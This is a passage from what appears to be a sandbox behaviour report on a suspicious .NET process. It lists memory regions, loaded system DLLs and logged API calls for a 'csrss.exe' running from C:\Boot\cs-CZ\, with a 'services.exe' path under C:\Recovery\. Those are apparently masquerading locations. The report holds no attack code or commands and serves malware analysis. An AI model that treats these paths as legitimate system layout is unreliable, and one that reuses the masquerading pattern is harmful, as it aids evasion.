0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10413 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10414 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 10415 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 10416 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 10460 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10475 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10479 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 10498 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Thread: id = 351 os_tid = 0x5f4 [0225.397] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.193] EtwEventRegister (in: ProviderId=0x27458a0, EnableCallback=0x1b13135c, CallbackContext=0x0, RegHandle=0x2745880 | out: RegHandle=0x2745880) returned 0x0 [0244.722] EtwEventRegister (in: ProviderId=0x274a028, EnableCallback=0x1b1313ac, CallbackContext=0x0, RegHandle=0x274a008 | out: RegHandle=0x274a008) returned 0x0 [0246.134] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x354bd0*=0xd8, lpdwindex=0x1ce6f4 | out: lpdwindex=0x1ce6f4) returned 0x0 [0248.282] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x354bd0*=0xd8, lpdwindex=0x1ce6f4 | out: lpdwindex=0x1ce6f4) returned 0x0 [0266.989] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xbcb4c0*=0x24, lpdwindex=0x1ce3e4 | out: lpdwindex=0x1ce3e4) returned 0x0 [0267.965] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x354bd0*=0xd8, lpdwindex=0x1ce6f4) Thread: id = 411 os_tid = 0x624 Thread: id = 412 os_tid = 0x4c0 [0226.604] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 413 os_tid = 0x5cc Thread: id = 473 os_tid = 0x8a4 [0245.770] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.774] CoGetContextToken (in: pToken=0x1b37f550 | out: pToken=0x1b37f550) returned 0x0 [0245.774] CObjectContext::QueryInterface () returned 0x0 [0245.774] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.774] Release () returned 0x0 [0245.774] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.775] CoUninitialize () [0258.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b37d988 | out: phkResult=0x1b37d988*=0x0) returned 0x2 [0258.670] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.676] GetFullPathNameW (in: lpFileName="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", nBufferLength=0x105, lpBuffer=0x1b37e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe", lpFilePart=0x0) returned 0x3d Thread: id = 474 os_tid = 0x8a8 Thread: id = 480 os_tid = 0x8c0 Thread: id = 512 os_tid = 0x948 Thread: id = 513 os_tid = 0x94c Thread: id = 537 os_tid = 0x9ac [0249.575] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0249.576] CoGetContextToken (in: pToken=0x1b74f6d0 | out: pToken=0x1b74f6d0) returned 0x0 [0249.576] CObjectContext::QueryInterface () returned 0x0 [0249.576] CObjectContext::GetCurrentThreadType () returned 0x0 [0249.576] Release () returned 0x0 [0249.576] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0249.576] CoUninitialize () Thread: id = 540 os_tid = 0x9c0 Process: id = "83" image_name = "csrss.exe" filename = "c:\\boot\\cs-cz\\csrss.exe" page_root = "0x78a17000" os_pid = "0x63c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\Boot\\cs-CZ\\csrss.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7388 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7389 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7390 start_va = 0x150000 end_va = 0x227fff monitored = 1 entry_point = 0x21f1ee region_type = mapped_file name = "csrss.exe" filename = "\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe") Region: id = 7391 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 7392 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7393 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7394 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7395 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7396 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7397 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7398 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7399 start_va = 0x3c0000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 7400 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7401 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7402 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7445 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7446 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7447 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7473 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7474 start_va = 0x3c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 7475 start_va = 0x590000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 7476 start_va = 0x3c0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 7477 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 7478 start_va = 0x610000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 7650 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7651 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7652 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7653 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7654 start_va = 0xb0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7655 start_va = 0x610000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 7656 start_va = 0x7d0000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 7657 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7819 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7878 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7879 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7880 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7881 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7882 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7903 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7904 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 7905 start_va = 0x850000 end_va = 0x9d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 7906 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7907 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7908 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8093 start_va = 0x9e0000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 8094 start_va = 0xb70000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 8095 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8096 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 8097 start_va = 0x1f70000 end_va = 0x2040fff monitored = 1 entry_point = 0x203f1ee region_type = mapped_file name = "csrss.exe" filename = "\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe") Region: id = 8271 start_va = 0x1f70000 end_va = 0x2040fff monitored = 1 entry_point = 0x203f1ee region_type = mapped_file name = "csrss.exe" filename = "\\Boot\\cs-CZ\\csrss.exe" (normalized: "c:\\boot\\cs-cz\\csrss.exe") Region: id = 8272 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8289 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8328 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8492 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8493 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8494 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8576 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8577 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8578 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8579 start_va = 0x7fe948c0000 end_va = 0x7fe948cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948c0000" filename = "" Region: id = 8580 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8581 start_va = 0x7fe948e0000 end_va = 0x7fe9496ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8582 start_va = 0x7fe94970000 end_va = 0x7fe949dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94970000" filename = "" Region: id = 8583 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8584 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8585 start_va = 0x710000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 8586 start_va = 0x1f70000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 8641 start_va = 0x22c0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 8642 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8643 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8644 start_va = 0x23c0000 end_va = 0x1a3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 8667 start_va = 0x1a3c0000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a3c0000" filename = "" Region: id = 8668 start_va = 0x1f70000 end_va = 0x2070fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 8669 start_va = 0x2140000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 8670 start_va = 0x1a7b0000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 8671 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8694 start_va = 0x21c0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 8695 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 8696 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8705 start_va = 0x1aa60000 end_va = 0x1ad2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8721 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8769 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8770 start_va = 0x230000 end_va = 0x2acfff monitored = 0 entry_point = 0x23cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8771 start_va = 0x230000 end_va = 0x2acfff monitored = 0 entry_point = 0x23cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8772 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8826 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8827 start_va = 0x230000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 8828 start_va = 0x1ad30000 end_va = 0x1ae0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad30000" filename = "" Region: id = 8829 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8830 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8831 start_va = 0x7fe949e0000 end_va = 0x7fe94a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8908 start_va = 0x7fe94a60000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a60000" filename = "" Region: id = 8909 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8919 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8934 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8951 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8987 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8988 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8989 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9006 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9021 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9036 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9059 start_va = 0x1ae10000 end_va = 0x1b07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae10000" filename = "" Region: id = 9077 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9101 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9102 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9103 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9143 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9144 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9164 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9177 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9190 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9213 start_va = 0x500000 end_va = 0x561fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9252 start_va = 0x1ae10000 end_va = 0x1ae4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae10000" filename = "" Region: id = 9253 start_va = 0x1b000000 end_va = 0x1b07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b000000" filename = "" Region: id = 9254 start_va = 0x1b0e0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 9255 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9256 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9376 start_va = 0x1aef0000 end_va = 0x1afeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 9377 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9378 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9379 start_va = 0x2080000 end_va = 0x20c4fff monitored = 0 entry_point = 0x2081064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9380 start_va = 0x2080000 end_va = 0x20c4fff monitored = 0 entry_point = 0x2081064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9381 start_va = 0x2080000 end_va = 0x20c4fff monitored = 0 entry_point = 0x2081064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9382 start_va = 0x2080000 end_va = 0x20c4fff monitored = 0 entry_point = 0x2081064 region_type = mapped_file name = "rsaenh.dll" filename = 